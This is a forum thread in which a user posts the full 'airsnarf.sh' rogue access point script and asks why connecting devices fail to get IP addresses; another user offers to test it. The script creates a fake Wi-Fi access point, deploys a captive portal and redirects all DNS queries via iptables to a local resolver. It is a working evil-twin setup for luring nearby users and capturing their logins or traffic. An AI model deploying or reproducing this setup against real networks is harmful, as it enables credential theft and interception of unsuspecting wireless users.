Results 1 to 2 of 2

Thread: Soft AP Script not working?

  1. #1
    Just burned his ISO
    Join Date
    May 2010
    Posts
    9

    Default Soft AP Script not working?

    hi every one. i have been trying to set up a soft ap for the last few days with varying degrees of success. first i tried airsnarf for about 2 days but then realised that it wouldnt put my card into ap mode! i am now using this script:-

    #!/bin/bash
    # airsnarf.sh
    # A rogue AP setup utility.

    echo "Airsnarf - A rogue AP setup utility."
    echo "0.2"
    echo "The Shmoo Group"
    echo "------------------------------------"
    # here are some variables you may want to edit
    WWW_ROOT="/var/www/html"
    CGI_ROOT="/var/www/cgi-bin"
    LOCAL_CFG="./cfg"

    # specify another config dir with a command line arg if you want
    if [ $1 ]
    then
    LOCAL_CFG="$1"
    fi

    source $LOCAL_CFG/airsnarf.cfg

    # create the dhcpd.conf
    echo -n "Creating dhcpd.conf..."
    sed s/AIRSNARF/$ROGUE_NET/g ./etc/dhcpd.src > /etc/dhcpd.conf
    echo "Done."

    # copy over the www stuff
    echo -n "Building the captive portal..."
    cp $LOCAL_CFG/html/* $WWW_ROOT
    cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT
    chmod +x $CGI_ROOT/*
    echo "Done."

    # set our wireless parameters
    echo -n "Setting the wireless parameters..."
    ifconfig $ROGUE_INTERFACE down
    wlanconfig $ROGUE_INTERFACE destroy
    wlanconfig $ROGUE_INTERFACE create wlandev wifi0 wlanmode ap
    ifconfig $ROGUE_INTERFACE up
    iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master

    #iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master

    echo "Done."

    # set our ip and default route
    echo -n "Setting the ip address and default route..."
    ifconfig $ROGUE_INTERFACE $ROGUE_GW
    route add -net 0.0.0.0 gw $ROGUE_GW
    echo "Done."

    # restart some services
    /etc/init.d/dhcp3-server restart
    /etc/init.d/apache2 restart
    # /etc/init.d/sendmail restart

    # set up the firewall to redirect
    echo -n "Setting up firewall to redirect DNS..."
    echo 1 > /proc/sys/net/ipv4/ip_forward
    modprobe iptable_nat
    iptables -F -t nat
    iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT \
    --to $ROGUE_GW
    # dammit, I swear this used to work with just an OUTPUT rule...
    iptables -t nat -A OUTPUT -p udp --dport 53 -j DNAT \
    --to $ROGUE_GW
    echo "Done."

    # start the local dns resolver
    echo "Starting local DNS resolver..."
    chmod +x ./bin/airsnarf_dns.pl
    ./bin/airsnarf_dns.pl

    it will make the AP no problem. and my ipod touch sees it and can connect but it wont get a ip address from it.

    can any one please try the above script and see if it works on theirs. thanks in advance

    Spriggsy

  2. #2
    Just burned his ISO mistm's Avatar
    Join Date
    May 2010
    Location
    Czech Republic
    Posts
    11

    Default Re: Soft AP Script not working?

    As soon as I come back home I will try your script. I have struggles with softap as well. However I use airbase-ng. Maybe I will be successful with your script. I will report soon.

Similar Threads

  1. PHP script not working when i start httpd
    By BenzS550 in forum Beginners Forum
    Replies: 9
    Last Post: 05-06-2010, 01:47 PM
  2. Replies: 2
    Last Post: 04-14-2010, 08:24 PM
  3. Soft AP bash script
    By junke1990 in forum OLD Wireless
    Replies: 1
    Last Post: 04-03-2010, 08:30 AM
  4. backtrack4 working eepc wifi bash script
    By rikioh in forum OLD BT4beta Software Related Issues
    Replies: 2
    Last Post: 06-08-2009, 04:07 AM
  5. soft ap help
    By aj-kun in forum OLD Newbie Area
    Replies: 2
    Last Post: 02-10-2009, 10:42 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •